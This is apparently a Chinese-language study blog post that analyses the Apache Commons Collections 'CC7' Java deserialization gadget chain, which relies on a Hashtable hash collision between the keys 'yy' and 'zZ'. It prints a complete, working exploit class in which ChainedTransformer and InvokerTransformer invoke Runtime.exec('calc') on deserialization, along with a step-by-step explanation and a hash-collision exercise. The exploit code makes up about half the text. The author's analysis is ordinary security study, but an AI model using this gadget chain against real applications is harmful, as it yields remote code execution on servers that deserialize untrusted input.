java_cc链7
cc链7依旧是触发LazyMap的get方法的另一种思路,主要是采用Hashtable的hash碰撞
环境
- apache commons collection3.1-3.2.1
- jdk1.7,1.8
调用栈
1 2 3 4 5 6 7 8 9
| ->Hashtable.readObject() ->Hashtable.reconstitutionPut() ->AbstractMapDecorator.equals ->AbstractMap.equals() ->LazyMap.get() ->ChainedTransformer.transform() ->ConstantTransformer.transform() ->InvokerTransformer.transform() ->…………
|
调用链分析
先看一下Hashtable类的readObject
调用了reconstitutionPut方法
分析一下这段代码
reconstitutionPut方法首先对value进行不为null的校验,否则抛出反序列化异常,然后根据key计算出元素在table数组中的存储索引,判断元素在table数组中是否重复,如果重复则抛出异常,如果不重复则将元素转换成Entry并添加到table数组中。
CC7利用链的漏洞触发的关键就在reconstitutionPut方法中,该方法在判断重复元素的时候校验了两个元素的hash值是否一样,然后接着key会调用equals方法判断key是否重复时就会触发漏洞。
e.hash
是用来检查当前条目所包含的键的哈希码是否与要添加的键的哈希码相同。
需要注意的是,在添加第一个元素时并不会进入if语句调用equals方法进行判断,因此Hashtable中的元素至少为2个并且元素的hash值也必须相同的情况下才会调用equals方法,否则不会触发漏洞。
接着调用e.key的equals方法,由于LazyMap没有equals方法,所以会调用AbstractMapDecorator的equals方法
此时如果map为HashMap对象的话,由于HashMap也没有equals方法,所以再调用AbstractMap的equals方法
然后调用LazyMap的get方法,后面就差不多了
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| package main.java.cc7;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Hashtable; import java.util.Map;
public class cc7 {
public static void main(String[] args) throws IllegalAccessException, IOException, ClassNotFoundException, NoSuchFieldException { System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");
Transformer[] fakeTransformer = new Transformer[]{};
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
Transformer chainedTransformer = new ChainedTransformer(fakeTransformer);
Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer); lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer); lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, "test"); hashtable.put(lazyMap2, "test");
Field field = chainedTransformer.getClass().getDeclaredField("iTransformers"); field.setAccessible(true); field.set(chainedTransformer, transformers);
lazyMap2.remove("yy");
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(hashtable); oos.flush(); oos.close();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); }
}
|
exp分析:为什么要有lazyMap2.remove(“yy”);如果没有会怎样?
我们尝试将lazyMap2.remove("yy");
注释掉,进行调试,我们可以发现在进行equals判断时,出现了第一个lazymap多了一对键值:yy=yy
当尝试调用LazyMap的equals方法时,由于LazyMap并没有equals方法,所以会调用其父类AbstractMapDecorator的equals方法,进而调用AbstractMap的equals方法,并且我们可以发现,AbstractMap的equals方法检测非常严格,首先就会检测相应的size
现在由于两个LazyMap的size不一样,直接就返回false了,也就不会调用LazyMap的get方法
为什么会出现多出一对键值的情况呢?
我们可以注意到Hashtable的put方法与readObject方法具有类似的操作(和cc6的异常情况类似)
所以,我们需要将lazymap2的yy键删去
exp分析:为什么yy和zZ的hash值一样
我们可以添加一句System.out.println(lazyMap1.hashCode());
方便调试
经过层层寻找,我们可以发现最终是调用了String类的hashCode方法
所以hash的计算方法为:yy有两位,第一次等于y的ascii值,也就是121,第二次计算出hash为31*121+121=3872
同理,我们也可以计算出zZ的hash值也为3872,然后返回的3872与1做异或运算,得到3873
简单练习
1 2 3 4 5 6 7 8 9 10 11 12 13
| package test.java;
public class test { public static void main(String[] args) { String name = "zDxlo"; if (name.hashCode() == "ycxlo".hashCode() && !name.equals("ycxlo")){ System.out.println("yes"); }else { System.out.println("no"); } } }
|
脚本如下:
1 2 3 4 5 6 7
| import string
for i in string.ascii_letters: for j in string.ascii_letters: if (ord(i) + 31 * ord(j))==3850: print(j,i) break
|